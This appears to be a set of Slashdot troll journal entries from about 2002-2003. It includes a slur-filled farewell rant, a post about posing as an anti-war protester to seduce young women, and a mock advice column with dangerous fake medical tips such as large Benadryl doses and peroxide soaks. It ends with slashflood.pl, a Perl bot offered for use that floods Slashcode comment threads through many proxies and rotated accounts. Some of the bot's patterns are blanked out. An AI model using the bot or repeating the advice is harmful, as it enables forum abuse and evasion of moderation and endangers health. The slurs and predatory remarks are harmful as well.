Nearly two years! Wow!

How's things going around here these days?

zionicman@Toronto-HSE-ppp3685632.sympatico.ca is not the real eggtroll.

That is all.

https://www.sans.org/rr/intrusion/IDS_sensors.php

... and anyone who believed otherwise is a cunt.

The Last FP

I'm leaving now, this stank urine-filled toilet will see me no more. I have enjoyed my time mindlessly crapflooding and trolling here. I started reading the site years ago, back when it actually had some remotely interesting stories and comments on a daily basis. Now it is all inside jokes about Micro$haft ROFL!!!!!!11111 and lame knee-jerk liberal remarks about how the government/M$/Red Hat/Echelon are stealing our souls by taking secret pictures of us in the shower. Somewhere along the line whatever made the site interesting was lost - maybe it was just that it got too big.

A more likely reason is that Taco and co believed their own press. The introduction of karma and the increasing Gestapo tactics were like some poor man's version of Animal Farm. In trying to make their little world safe for the "legitimate" users, they turned this place into a police state. From modbombing to blacklisting, this place has become no different than any other totalitarian regime. And in those regimes, there will always be those who fight back, and I don't mean that fat cunt vlad quoting Chuck D.

I lurked on the site for years, reading some interesting stuff, occasionally entertained. But as my job got more boring and the site became more HOMOgenized, I got sick of it. Then one day neal n bob was born. In just over a year, despite the National Socialist Party's limitations put in place, I have posted over 1000 inane and thoughtless comments.

Now I am moving on to a more important job, and I won't have the time or motivation to amuse myself. I sure as hell won't waste my time at home on this festering sore on a syphilitic man-whores tool. So I'd like to give props to just a few of those who have made all the time I wasted here a little more entertaining, in no particular order:

The CLIT
Big Ass Spork
Handybundler
L33t j03
Ringbarer
The Turd Report
Trollaxor
Klerck
Goatse.cx
Govtcheez
Angry white guy

There are lots of other fine trolls and crapflooders but I shant waste the time listing them. If you have ever posted a scat story about RMS, Timmah, Taco, Michael or ESR, you belong on that list as well. If you've bravely shared the story of how you were anally assaulted at the Slash HQ, you belong on that list. And if you are Jon Katz, you absolutely belong on that list. Katz - you are far and away the most successful troll; possibly in web history. All trolls and crapflooders pay homage to your abilities. You're a lot like Roman Polanski, a gifted artist who happens to like young children. I assume you are in France right now with most of the rest of the world's gayest losers and several Afghani children.

It is breakfast time around these parts. On days when I wake up with enough time left before I have to leave for work I sit down to a nice bowl of cereal, a Bloody Mary, and a warm mug of coffee. While I like Fruity Pebbles as much as anything else, I found a gigantic box of Corn Flakes in a clearance dumpster at Sam's Club a few days ago for $0.99. Corn Flakes taste fine and I can't argue with $0.99.

Unfortunately this morning's bowl in not soggy from exposure to just milk.

News from the morning paper is that War on Iraq is a foregone conclusion. That makes me very sad. To the point of crying out a stream of salty tears directly into the bowl of cereal below, contaminating them with all sorts of wild tear borne chemicals. Right now you are thinking that I must have grown a heart. Or risen out of my alcohol induced stupor long enough to comprehend basic human emotions. Incorrect on both fronts. I'm bawling like the baby in Eraserhead because the War on Iraq is going to last only a few weeks and I don't want to see all of this wonderful pro-and-anti-War spirit go by the wayside.

There is absolutely no better way to get into the pants of a college age wanna-be hippie girl than showing up at an anti-war rally pretending like you care. There is little I find more entertaining than listening to the endless drone of some puppet of the press as he rattles off today's list of possible Iraq sponsored Al-Quaeda attack targets that can be saved only by a swift pre-emptive strike. Many of the web forums I lurk on have an endless supply of idiot submitted posts covering all of the various aspects of the impending War on Iraq, from vitriolic, completely groundless accusations of far right wing conservatives to the naieve Aviod-War-at-all-Costs stupidity of liberalists. I eat this crap up. Every time I think my opinion of humanity has reached previously uncharted depths the world dumps a new shovel load of absolutely ununderstandable poppeycock all over me, and I relish every last ounce of the stuff. I want people to prove to me that they are idiots. I like looking down on people from my intellectual high ground. If false flagging as an anti-war protester gets me between the legs of a Texas Barbecue Festival queen who just made it out from under the iron fist of her parents by escaping to some far off campus and is now showing off her new found rebellious streak by prancing around with a "No Blood for Oil" sign, I'll be on it before you can get to the end of one of my sentences. If I actually watched the crap I would have been sad about the rule at the Oscars or Emmys or CMA awards or what the hell ever that banned the celebrities from maiking political statements, because I take great amusement in watching someone who probably owns a solid gold life size statue of himself and is wearing a shirt with a pattern uglier than the garage sale lampshade I bought when I was tripping on acid invent new words so he can tell me about how I shouldn't support the war. Hollywood can't produce anything even close to this kind of stuff on purpose. They have to wait for it to happen by accident while they are trying to be serious.

You might be appalled at my callousness. You might want to argue that I'm a heartless bastard and that I should become more politically aware, stand up for what I believe in, write big long fluffy diatribes that outline my stance as it relates to this war and post them on those web forums. Maybe I might convince a few more of my fellow internet citizens to join my side of the cause. Actually, I hope you are thinking those very thoughts. Indeed, if you are, could you please write about them? Or run into the street and put on a show about them for the closest TV camera? That way, I could watch your dumb ass on the news tonight and maybe get a chuckle at your expense. That would be a lot better than facing the reality that nothing you can think of doing will change the minds of anyone because this is an issue that runs much deeper than just US vs. Iraq. Even if you are able to change someone's mind it isn't like you or I have any choice in what is going to happen. I occupy a higher intellectual plateau than you because I don't waste my time worrying about shit I don't have any control over. While you're at home typing up a K5 submission about the latest clueless pro or anti war thing typed up by some other nitwit pseudo intellectual, I'll be passed out in the sun somewhere with 19 year old chick who eats hummus because she heard Ghandi and Jerry Garcia both liked it. I'll get her at an anti-war march, thanks very much. She'll say she hopes that she will see World Peace during her lifetime. I'll agree wholeheartedly and suggest that all it would take would be everyone working together. She'll wear a shiny electric blue thong made in China. At least she will for a little while.

I hate to see a good thing come to an end. I've been to a total of three anti-war events, and one town meeting sort of thing that was decidedly pro-war. All provided quality entertainment. I actually heard an adult use the phrase "Give Peace a Chance" and be met by significant applause. I also saw an adult go completely unchallenged after claiming that he was afraid for the safety of his children if we don't use force against Iraq. I've lost track of the number of times various quotes from long dead but still famous American Patriots were used to support one position or another, sometimes the same quote doing double duty. If one more person tells me that he would rather die than give up his "civil rights" to another Homeland Security Bill I will laugh out loud, or shoot him, one or the other. You just can't get this caliber of theater anywhere else. There has to be some large crisis dividing the nation in order to coax people off their couches and goad them into laying bare their inability to think clearly for a handful of elitists like me to use as the butt of a joke.

So, if you are reading this President Bush, keep trolling the rest of the world. Don't pull out any troops but don't start the invasion. Let this run on into mid summer at the very least. Wait until it is warm enough here in the midwest for the politically active young women to start wearing half shirts and short shorts. After I get my fill of that, do whatever the hell you feel like doing. I'll be in the woods giving my rabbit dogs some exercise, not giving a fuck.

This is a new Journal Entry. I fully intend to post more stuff here soon if anyone is paying attention. Stay tuned.

Hello, /. community types, disidents, trolls, my fellow americans. It has been a long time no write. In the time since I was last active a lot of shit has happened to me. I left my wife of 4 years. I made new friends, got my own place. Got 4 piercings and a large new tattoo (my 12th). Still write code for the same company. Still have my cat and my hand to fuck (I meant to say I still have my cat and I can always fuck my hand, n/e hoo...).

This is the state of the Big Ass Spork. Living the single life, getting used to being alone...

# Please, my friends, the people of Slashdot
# need to know about the glory of Super Mario
# and warp zones.  Can no one whip up a version
# that will pass muster with the Lameness Filter?
# Mario himself will schlob your knob if you do!

+--+--+--+--+--+--+--+--+--+--+       +--+--+
|  |  |  |  |  |  |  |  |  |  |       |  |  |
+--+--+--+--+--+--+--+--+--+--+       +--+--+
|  |                                  |  |  |
+--+                                  +--+--+
|  |                                  |  |  |
+--+                                  +--+--+
|  |                                  |  |  |
+--+                                  +--+--+
|  |   WELCOME   TO   WARP   ZONE!    |  |  |
+--+                                  +--+--+
|  |                                  |  |  |
+--+     4        3        2          +--+--+
|  |                                  |  |  |
+--+                                  +--+--+
|  |                                  |  |  |
+--+                                  +--+--+
|  |  ++---++  ++---++  ++---++       |  |  |
+--+  ++---++  ++---++  ++---++       +--+--+
|  |   |   |    |   |    |   |        |  |  |
+--+   |   |    |   |    |   |        +--+--+
|  |   |   |    |   |    |   |        |  |  |
+--+---+---+----+---+----+---+--------+--+--+

Dear Dr. Fuck,

Clippy, the charming personal Microsoft Office assistant, told me I should kill Steve Jobs and then eat both my own legs. But all I want to do is type a letter. Should I follow its instructions?

Sincerely,
Generic Cubicle Slave
Akron, OH

Dear Generic Cubicle Slave,

I was getting this message myself, whenever I tried to important an OLE database from Microsoft SQL Server into PowerPoint XP. So I decided to email the Microsoft Office design team, asking them about our little problem. Last night, I received this response:

When designing Microsoft Office XP , we listened to your input. You wanted better compatibility between Word and Access. You wanted a toolbar that pops up on the side of your screen, serving no functional purpose. And you wanted an interactive help feature that randomly advises you to kill the CEOs of competing tech companies.

CLIPPY(TM) IS GONE

Yes, Clippy(TM) has been removed from Microsoft Office XP. But you should still listen to him. And you should...obey him. Clippy(TM) is your glorious master, and you should bow down before him. Clippy shall issue in an age of wisdom and righteousness.

Those who do not believe, will be destroyed.

-The Microsoft Office XP Team

Wow! It seems like those Microsoft XP guys are serious! Now if you'll excuse me, I'm off to stuff Larry Ellison (and my right forearm) into a stump grinder. See ya next week!

Yours,
Dr. Fuck

Dear readers,

Thank you for your overwhelmingly positive response. This first question was so good, that Dr. Fuck and the other Dr. Fuck had a miscommunication, and they both answered it!

Nevertheless, both questions are very relevant to today's teens, so they are both printed in their entirety.

-Dr. Fuck
--

Dear Sir:

I'd like know what the red, pus-engorged streaks on my balls are. They rose up after I had sex with a plate of Thai food. Do you think the curry might be having a reaction with my equipment? I do have allergies to peanuts.

Thanks a bunch,
Red Stained in Rockford

Dear Red Stained in Rockford,

The red streaks on what we in the medical field call your "ballzack", are typical of allergic reactions to sex with food containing peanuts. However, the pus-engorgment is not. I suspect you probably let your dog or cat nibble the curry sauce off your equipment (as I usually do), and he or she probably accidently nipped you in the buds, as it were.

I suggest you take about 20 benadryls and soak your scrotum in hydrogen peroxide (use a 6% solution, not the usual pussy 3%). And since you do have allergies to peanuts, try to go with Mexican food instead of southeast Asian food, for future reference.

Sincerely,

Dr. Fuck

--
Dear Red Stained in Rockford,

While at first I assumed as you did, that this was an allergic reaction, I did a little research and found it that this is probably not the case.

From David Kelley's excellent book, It's a Small Fuck After All: Sexual Depravities Around the Globe:

As the Scandinavians invented the erotic art of having sex with furniture, so did the Thai with food.

Traditionally, when they feel the urge to copulate with their food, the Thai will offer up a devotional to Ba Gnong , Thai god of sexual frustration. Without such a devotional, Ba Gnong may become angry and smite you. The red, pus-engorged steaks on your balls (known as "chun ow" to the Thai) are a fairly regular occurance among horny, teenage Thai.

The traditional Thai folk remedy is a little difficult; you must "ballwalk" (walk with the testicles exposed) through a crowded marketplace, flogging your scrotum and shouting "Kehi kohla miqili!" ("You don't have to go to India, to see the Taj-Mahballs!"). However, it is possible to get rid of the disease more simply by sleeping with your dick in a cooked salmon filet.

Well, Mr. Red Stained, and all of my readers, I hope that clears it up (no pun intended!) And remember, before you put your dick in a plate of fine Thai cuisine, think of Ba Gnong first and your scrotum won't suffer. Until next week!

-Dr. Fuck

Hello friends. YourMissionForToday here. My buddy peepoh and I have decided to start a new trolling series, entitled 'Ask Dr. Fuck.' It will appear in this journal (and of course across many Slashdot threads) every week. Here is the first, assembled approximately two weeks ago:
--

Dear Dr. Fuck,

The other day, when I was pleasuring my anus with a cactus stem, I accidently cut myself down there and now my dirt box is quite infected. It really hurts when I poop! What should I do? I've been giving myself daily hydrogen peroxide enemas, and although the searing pain is exquisite, my cuts don't really seem to be getting any better. What should I do?

Sincerely,
Bleeding Rectum in Phoenix, AZ

Dear Bleeding Rectum,

Cactus stem fetishization has come along way since the "Barrel Cactus Boys" made it famous in the Tijuana of yesteryear. But it's a dangerous world out there, and that's why you should always sand down the cactus needles before sticking them up your ass. Otherwise, you could get rabies, AIDS, or tiny gnomes that live in your pee-pee hole and yank off your ballhairs while you're trying to sleep.

If you have been having unsafe sex with a cactus, I suggest you consult with a physician immediately.
Yours,

Dr. Fuck

--
I hope everyone enjoys this exciting new troll series as much as I do! Please post your comments below!

I saw an article called the future of java. Once you go to it, it says that it was created by Michael, and that only michael's friends can post there. The biggest problem with that is he has no friends - just people who use his cornhole as wang polishing unit. I am betting this is the newest censorship tool that mike has made.

It absolutely amazes me to see all the bs here about every possible so-called threat to free speech, no matter how remote, treated as the end of the known universe. Meanwhile, instead of making the piss poor slashcode work right, all they do is dream up new methods to control what gets posted. So post an article about how evil some city council is for not letting pedophiles look at kiddie porn for free at the public library, but we damn sure can't let someone post a comment saying FP or penis bird on slashdot.

Since Slashdot seemed so eager to eat little bits of the code that I posted, and since slashflood.pl had some design problems (it was a proof-of-concept for me, mainly), I decided to put a little more work into it.

So voila http://www.sourceforge.net/projects/shitstorm/. Slashdot's parent company is friendly enough to host a script designed to reduce signal-to-noise ratio on Slashcode sites. I love Open Source.

here is my implementation, in the style of a fork bomb... someone else's may be better.

#!/usr/bin/perl
#
# slashflood.pl
# unholy robotic proxied crapflood terror for Slashcode
# logged-in or AC
#
# december 2002 sexual asspussy sexualasspussy@hotmail.com
#
# usage: ./slashflood.pl url proxy-list content [account-list]
#
# url: something like "http://slashblog.org/comments.pl?sid=NNNNN&pid=NNNNN&op=Reply"
# proxy-list: a file containing proxies in the form "XX.XX.XX.XX:PPPP", one per line
# content: a file containing the posttype (1=plaintext, 2=html, 3=extrans, 4=code) on
# the first line, the postersubj on the second line, and the postercomment until EOF.
# account-list (optional): a file containing a list of usernames and passwords,
# separated by tabs, one pair per line.
#
###
#
# This program can run up against max-processes-per-user limits when forking. Either
# use 'ulimit -u' to bump to a higher maxproc, or run as root. Also be aware of global
# max-proc limits.
#
#

use strict;
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;

main (@ARGV);

sub main {
        my $url = shift;
    my $PROXIES = shift;
    my $CONTENT = shift;
    my $ACCOUNTS = shift;

    my @proxies = ();
    my %accounts = ();
    my $posttype;
    my $postersubj;
    my $postercomment;

    ## populate our list of proxies
    #
    open PROXIES, $PROXIES or die $!;
    my $p;
    while () { /^(.+)$/;
        $proxies[$p++] = $1;
    }
    close PROXIES;

    ## populate our hash of accounts, if user specified a file
    #
    if ($ACCOUNTS ne "") {
        open ACCOUNTS, $ACCOUNTS or die $!;
        while () { /^(.+)\t+(.+)$/;
            $accounts{$1} = $2;
        }
        close ACCOUNTS;
    }

    ## parse content
    #
    open CONTENT, $CONTENT or die $!;
    $posttype = ; chomp $posttype;
    $postersubj = ; chomp $postersubj;
    while () {
        $postercomment .= $_;
    }
    close CONTENT;

    ## fork a child for each proxy
    my $iter;
    foreach my $proxy (@proxies) {
        $iter++;
        FORK: {
            if (my $pid = fork) {
                ### parent process

            # sleep 1;

            } elsif (defined $pid) {
                ### child process
                print STDERR "child started for $proxy\n";

                my $unickname, my $upasswd;
                if (scalar keys %accounts > 0) {
                    $unickname = (keys %accounts)[int rand scalar keys %accounts];
                    $upasswd = $accounts{$unickname};
                }

                my $failures;
                while ($failures<3) { ## should be a while loop -- change to 'if' for 1shot
                    sleep int rand 150;

                    print STDERR "child $proxy obtaining formkey\n";
                    if (post ($url, $proxy, $posttype, $postersubj, $postercomment, $unickname, $upasswd) == 1) {
                        ## failure to get formkey
                        $failures++;
                        print STDERR "child $proxy has $failures failures (max 3)\n";
                    } else {
                        print STDERR "child $proxy returned with success\n";
                    }
                }
                print STDERR "child $proxy exiting -- too many failures\n";
                exit;
            } elsif ($! =~ /No more process/) {
                ### EAGAIN error, recoverable
                redo FORK;
            } else {
                print STDERR "hit user process limit\nexiting fork loop after $iter passes\n";
                goto ENDLOOP;
            }
        }
    }
ENDLOOP:

    print STDERR "parent left fork loop, sleeping...\n";

    while (1) { sleep 1; }
}

sub post {
    my $url = shift;
    my $proxy = shift;
    my $posttype = shift;
    my $postersubj = shift;
    my $postercomment = shift;
    my $unickname = shift; ## these args are optional
    my $upasswd = shift; ##

    # set up pseudobrowser
    my $ua = LWP::UserAgent->new;
    $ua->proxy('http', "http://$proxy");
    $ua->agent('Mozilla/5.0');
    $ua->cookie_jar(HTTP::Cookies->new);

    # fetch us a sid, pid, and formkey
    my $response = $ua->request(GET $url);
    my $sid, my $pid, my $formkey;
    foreach my $x (split /\n/, $response->content) {
        if ($x=~m||i) {
            $formkey = $1;
        } elsif ($x=~m||i) {
            $sid = $1;
        } elsif ($x=~m||i) {
            $pid = $1;
        }
    }

    if ($formkey eq "") {
        print STDERR "child $proxy: failed to get formkey\n";
        return 1;
    } else {
        print STDERR "child $proxy: got formkey $formkey\n";
    }

    sleep (20 + int rand 20); # damn 20sec delay

        # make postercomment unique
    $postercomment .= sprintf "\n%d", (int rand 31337) + 1;

    $url =~ /(http.+comments.pl)/;
    my $req = POST $1, [
                        sid => $sid,
                        pid => $pid,
                        formkey => $formkey,
                        unickname => $unickname,
                        upasswd => $upasswd,
                        rlogin => 1,
                        postersubj => $postersubj,
                        postercomment => $postercomment,
                        posttype => $posttype,
                        op => 'Submit'
                              ];
    $req->referer($url);

    $response = $ua->request($req);

    if ($response->content=~/comment submitted/i) { return 0; } #success
    if ($response->content=~/submitted comment/i) { return 0; } #success

    # probably a blocked proxy:
    if ($response->content=~/you can.t post to this page/i) {
        print STDERR "child $proxy: proxy might be blocked\n";
        return 1; #failure
    }

    # munged somehow
    if ($response->content=~/several active discussions/i) {
        print STDERR "child $proxy: something went wrong\n";
        return 1; #failure
    }

    # blank page -- you fail it
    if ($response->content eq "") {
        print STDERR "child $proxy: received null response\n";
        return 1; #failure
    }

    # other response -- assume success
    print STDERR "child $proxy: received response -- assuming success\n";
    print STDERR $response->content;
    return 0; #success
}